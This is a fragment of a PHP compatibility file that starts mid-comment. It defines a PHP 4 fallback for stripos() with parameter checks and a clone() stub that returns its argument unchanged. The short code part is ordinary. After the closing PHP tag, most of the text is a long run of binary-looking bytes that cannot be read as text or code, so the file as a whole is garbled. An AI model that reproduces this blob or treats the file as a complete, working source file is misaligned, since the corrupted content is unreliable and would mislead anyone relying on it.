4 $ * @since PHP 5 * @require PHP 4.0.0 (user_error) */ if (!function_exists('stripos')) { function stripos($haystack, $needle, $offset = null) { if (!is_scalar($haystack)) { user_error('stripos() expects parameter 1 to be string, ' . gettype($haystack) . ' given', E_USER_WARNING); return false; } if (!is_scalar($needle)) { user_error('stripos() needle is not a string or an integer.', E_USER_WARNING); return false; } if (!is_int($offset) && !is_bool($offset) && !is_null($offset)) { user_error('stripos() expects parameter 3 to be long, ' . gettype($offset) . ' given', E_USER_WARNING); return false; } // Manipulate the string if there is an offset $fix = 0; if (!is_null($offset)) { if ($offset > 0) { $haystack = substr($haystack, $offset, strlen($haystack) - $offset); $fix = $offset; } } $segments = explode(strtolower($needle), strtolower($haystack), 2); // Check there was a match if (count($segments) === 1) { return false; } $position = strlen($segments[0]) + $fix; return $position; } } /** * Ported PHP5 function to PHP4 for forward compatibility */ function clone($object) { return $object; } ?>x=v㸑9Iud[m{ҹHD(!@9!1{G1}V EQ.n7XB uPNsgReNSbwO]OY=` <]ͤ/S"o~wfb^3D\:S2tȝcAAF7 ~Hn|Qʊ oB1%ؔD?E. C: -R>oᐅqhy)W,|h|,9 ߗ/GI#Xr*& oUr)AԷ~$lm,.(x% "%lߟ#1YgG# !_3cB*0%J zۂ<$j /0fBDV$d|̪` /x\"#>W.wI8yAn]UNނh+ V)ލƠJB@ HeD?0rh1 ޿9ŒIMkbL74F )R#\A'@!Im)O{hbC,.{N~N7$cOEa{@ı= 4&ao,%f™ W67̳_8PvF2"w:D+ RtFFsBzUTZ%}P؇_ip2nu?*U莻Ter ;q,C?cG Q-+eE2kw;DJqh#M'dhӐ3ME7iQjؒ͘>c{$i8~5%y߇/Rd3F |k.!:E9NE2P"|u U +s݀Z*U.%>f{Jl67lG }qbf zШrzf `.H 8sޘf>12aa3M3-M31p/DI7!XS~?r\YRsꍁ%󨶰xbvUlHzhAt1JЕ a Qp!44'S:)#.64p!KH K5=, P͇L ϔz|h39>: N4a:\8>F#9L=ҦsɭG.&+7q@I[IjD7TZ]H&M&HqܨWlުf0cCʷvz^>=gI7W&`6dG&lPXf~oV'wAOwiͪ^cD5QrlE\&joepeU 4=9w\YPKR'c%ԟ:V 艎w# ʀ)nPC(>jE$nOKRt-eq{rDjj\mP.Op^rrg01I Q,yFWp퇸NjskL r*jT`ׁ ˗# 'ĝn :~XRqAfuجV7 jjQrK!N㛬cY8YFM{կ!-%M(D 2iӒ3P8zh'/KH1 PW0?:FAg0L 3SD~M# :{~ٹC&A.Cga2?~˝g:2bgLG =_Ԓ)eu,u'4~h]|8|\C`~rφs&R 0!4矉>4'jl)XMdx4\ N pa9\ag*djZ ;aR}1 FW_M Y" 3a.BM䍰Ij:) w7AsGO-MOBr_;u$N?ԳiXIpPQ&\C_+^,yT,( zKK# ݲ` Zt a؃-ka&La!*9\<)EME99Fz!"ڪhMT.,krn楌Mb۠`aogi2e= q"^w  Zv/qqi=?g^$WHB}TAY.$ ՆIWrMoQW'VS)МLKUW_&I p{E!~AXD#T ,nY/xXר?2,iT1 b9m:BODo7M "l{I &Lg 脁~]8Bcɇl̉MhɰRK'| \\ҙzmiqH58DlﹺL=ӕ4+ P]u@! Xt6LDႶ-΃m(&i:5d0>ySl1hl-ڬAެ;&k1jVRj~Tb}ىMD~50VyO&`qV9H -00z5rzVF{n؋kĦ2qvA rHg̝n (<4fxT 0S;uhʮ`i_߉[P?d粊ΫoʎTwAw, KP=Y4|@$rGC, U]p`܁Z`;e#G!jIDq!ovV+_kj[ QйwT.b[T])\\ 1BC Ւ\S޿L:,Pms9-IkSSusWjsw HDR瘗gcC:s!ž''2rP=4 r>4Ztu_?0g @s& = kKb~PaSXB7YuدwRGqcao7fJk %rBD"O ?/I4lJ/SV2ޛ ®2|KZ1:ݤVx#K/ M5 \2i ]g8HB?>TD%.A|T;w猗E!.qJFwjrB6~0KxB@I߿L%xD3y_TD|1 ST9BF$ :\$wMIv<5՚5P'q"}2QDž;WW̑G~b[$Gjq$҇gsN?ulmwԂw6u2FtxX+R6:>%r "i+/e?}x29X 0J޵:5?6%Oف gK5sM SY9]iyɒ/44O*b?n :T_2+#$ju+7_oÑ -2X7UcЬ+[!ynl$G)UVA4Q5wW,;=t6\X|Ek&Wp^7^='MpwuK)_Wol:7v+u¼EInra2<O.x`Bpl>dA_JXJ~׬)$B3p " L4Sr#.IfY/+f`=I3FkD̘;'x xEL1.L#TT ІUZ%ǙgEX2ui6:g,& q0m#Rx^sїJ70芁-"סu_/є:l a}A1 (ZX10#l!I01|qrʦWrA`/r?*( [Pf~ )?yUEH4r Ysà>xcU*4N\m#y,Cw7|.+pTy;e)a3rnw[ \ЪfSs8N`.7D+G5Z{Zǃt%C RJ >55-c=п3v /ylvs_0xXcӠ9gP[A(R5.b/Mo!^HO Y~y!mS_Չ1E0  K+ ˆsT69,,mӧI´0B0Y*1R >%:bv+clk:S/͸CMK? IyLrʽ:)N!i]vc[- 3'Ez08Hߢ:M^%JdKcKO-|q掊+?Ĩt61cĂ?7?{*! ׃-8ӿA'-0#1!˻)OW$UtFyE)y-7əu5f1S?Jbz:Kd]R Aq4[j֬*ۢnQ}BNu@sڧ5(q+J28c?TRͰ*foALI ".j9SiTx]G-_s\SP1Q0`Lɯ 9SR:Hj* {7?IhQ3?ӬڝF}J0aCv